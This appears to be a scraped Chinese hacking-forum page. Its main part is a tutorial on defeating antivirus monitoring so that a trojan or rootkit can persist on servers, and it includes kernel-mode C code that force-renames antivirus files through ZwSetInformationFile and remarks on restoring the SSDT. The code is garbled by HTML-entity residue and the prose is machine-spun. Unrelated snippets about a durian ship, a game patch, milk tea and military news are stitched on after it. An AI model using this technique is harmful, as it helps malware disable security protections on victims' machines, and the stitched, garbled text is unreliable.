这篇文章原本前2天就计划发出来的,最近手头有点小事,今天有空就把这篇文章整理出来了,前面先说点题外话。对于传统的远控来说,由于撒播面积广,都成为各大杀软的重点查杀目的。不光特征码多,另有个致命缺陷。那就是要害释放历程早已被杀软熟悉了,严酷的来说,这些木马的行为已经被杀软所掌握。如注射远程线程,启动傀儡IE,加载驱动,注册服务,修改敏感系统注册表键值等,这些行为靠修改特征码是很难做到的。以是经常出现这样的情形,刚做好的免杀过不了多久总会被杀软查杀。基本处于 免杀-gt;被杀-gt;在免-gt;再被杀 尤其是象鸽子 PS这样的远控,若是是仅仅为控制好玩,那我不多说什么了。若是要使自己的ROOTKIT能够在服务器上长期存在,那么势需要自己自力开发一款属于自己的ROOTKIT,这个不是今天要讲的主题,以后有时间了,在发写若何编写ROOTKIT的文章,上周我发了一篇关于“一句话过监控”的帖子,好象前天已经修复了这个破绽。今天我就说下,若何打造穿透所有杀软监控的程序。 首先 明确一点 当一个文件的路径被改变的时刻,其应用程序就会发生错误,要么退出,要么溃逃。一样平常杀软为了珍爱自己的文件不被重命名,要么设置文件为“只读”属性,,要么行使Inline Hook IofCallDriver阻挡删除(重命名)文件请求的API 如(CreateFile()),这样珍爱了自己的文件不被删除或重命名。实在重命名就是一个删除文件,再建文件的历程。 关于详细的实现代码,请百度或者google下,关于ring3下行使createFile()和Inline Hook IofCallDriver珍爱文件不被删除的原理,这里主要将若何强行重命名文件,导致杀软的所有监控失效。 对于一句话过监控,我们是通过MoveFile()实现的,跟踪MoveFile可知,它会挪用ZwSetInformationFile实现文件移动功效,这里要说下关于FileInformation的结构_FILE_RENAME_INFORMATION是未公开的,以是照样逆向下他的结构。 typedef struct _FILE_RENAME_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; 其中ReplaceIfExists判断是否存在重命名的文件夹,RootDirectory 文件的绝对物理路径,ULONG FileNameLength文件名字长度,FileName文件名。这里说下,关于FileNameLength这个参数可以通过sizeof()这个函数获得,我们的实现历程如下,行使ZwCreateFile()打开文件夹,行使ZwSetInformationFile修改文件名。实在现代码如下: NTSTATUS Rename(PCHAR szFileName1,PCHAR szFileName2) { FILE_RENAME_INFORMATION fri; IO_STATUS_BLOCK iostatus; OBJECT_ATTRIBUTES oa; UNICODE_STRING pathnameW; ANSI_STRING pathnameA; NTSTATUS status; HANDLE hfile =NULL; CHAR szFileNameL[MAXPATHLEN]; strcpy(szFileNameL,"\\\\DosDevices\\\\"); strcat(szFileNameL,szFileName1); RtlInitAnsiString(amp;pathnameA,szFileNameL ); RtlAnsiStringToUnicodeString(amp;pathnameW,amp;pathnameA,TRUE); InitializeObjectAttributes(amp;oa, amp;pathnameW, OBJ_CASE_INSENSITIVE, NULL, NULL); status = ZwCreateFile(amp;hfile, DELETE, amp;oa, amp;iostatus, NULL, 0, FILE_SHARE_READ,FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0); RtlFreeUnicodeString(amp;pathnameW); if(!NT_SUCCESS(status)) { goto done; } strcpy(szFileNameL,\"\\\\DosDevices\\\\\"); strcat(szFileNameL,szFileName2); RtlInitAnsiString(amp;pathnameA,szFileNameL ); RtlAnsiStringToUnicodeString(amp;pathnameW,amp;pathnameA,TRUE); fri.FileNameLength=pathnameW.Length; memcpy(fri.FileName,pathnameW.Buffer,pathnameW.Length); fri.ReplaceIfExists=0; fri.RootDirectory=0; status = ZwSetInformationFile(hfile,amp;iostatus,amp;fri,sizeof(fri),FileRenameInformation); RtlFreeUnicodeString(amp;pathnameW); done: if(hfile) { ZwClose(hfile); } return status; } 这样就可以实现在RING0下强行重命名文件的效果了。固然对于AVP这样底层HOOK的比较深的杀软来说,事先照样需要恢复SSDT才气重命名文件的。一样平常来说,他会从驱动层过滤IoCallDriver()的请求,导致文件重命名失效,以是对于一些特殊的杀软照样要"特殊照顾"的。
翻开浏览器,输入URL:http://www.test.ichunqiu或许是 http://您的域名/msmirdata/msmirArticle.asa3.破解Access加密数据库一挥而就...
8月26日,广西一艘装满榴莲的货船侧翻,当地村民和游客不听劝阻执意哄抢,结果,事情出现反转:捡了榴莲吃的人出现腹痛、呕吐、腹泻…… 榴莲货船侧翻遭村民哄抢 劝都劝不住 据一名知情村民介绍,事发地...
系统 云顶之弈10.10版本更新了什么?云顶之弈10.10版本在5月14日正式更新,相较于之前的大版本更新,这次10.10的改动可是说是很小了。本次更新将此前版本过于强势的1费英雄削弱,还上线了一个...
艺术网玻璃图片(家居装修工艺玻璃) 在透明的世界里, 美变成了另一种很有可能 许多著名名牌应用全透明原素 离开色调 一切才会重归实质 使我们看一下单纯的夹层玻璃造型艺术是如何的漂亮 婚纱...
最近喝的饮料真的是频频踩雷,猜测最近糖降价了,喝了4,5家都超级甜,能齁死人。 大卡司我之前是喝过的,又来了。珍珠奶茶他家的感觉超级好喝奶茶甜度适中还带有一点点茶叶的味道,珍珠是我喜欢的呢种又大又软...
近日,小编从新闻中得知,美空军又派侦察机飞临黄海上空,这已经是这几个月以来美军多次派侦察机侵入南海了,美国已经成为南海和平的最大威胁者,我国外交部早就表明过不会任由美国胡作非为,中国主权绝对不容侵犯。...